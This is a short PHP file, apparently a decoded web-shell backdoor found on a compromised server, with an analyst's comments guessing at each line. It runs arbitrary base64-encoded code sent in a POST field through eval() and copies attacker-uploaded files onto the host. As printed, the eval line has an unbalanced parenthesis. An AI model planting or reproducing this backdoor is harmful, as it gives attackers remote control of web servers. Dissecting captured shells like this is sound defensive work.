stack_overflow_malicous_decoded.php

<?php
	
	echo 7457737+736723; // Still probably an id of some sort.

	eval(base64_decode(($_POST[id])); // Decodes POST['id'], that becomes the file name given to the eval() function.

	// Probably an 'all good' response from the remote server.
	if( $_POST['up'] == 'up') {
		@copy($_FILES['file']['tmp_name'], $_FILES['file']['name']); // Malicious files from remote server copied to host.
	}

?>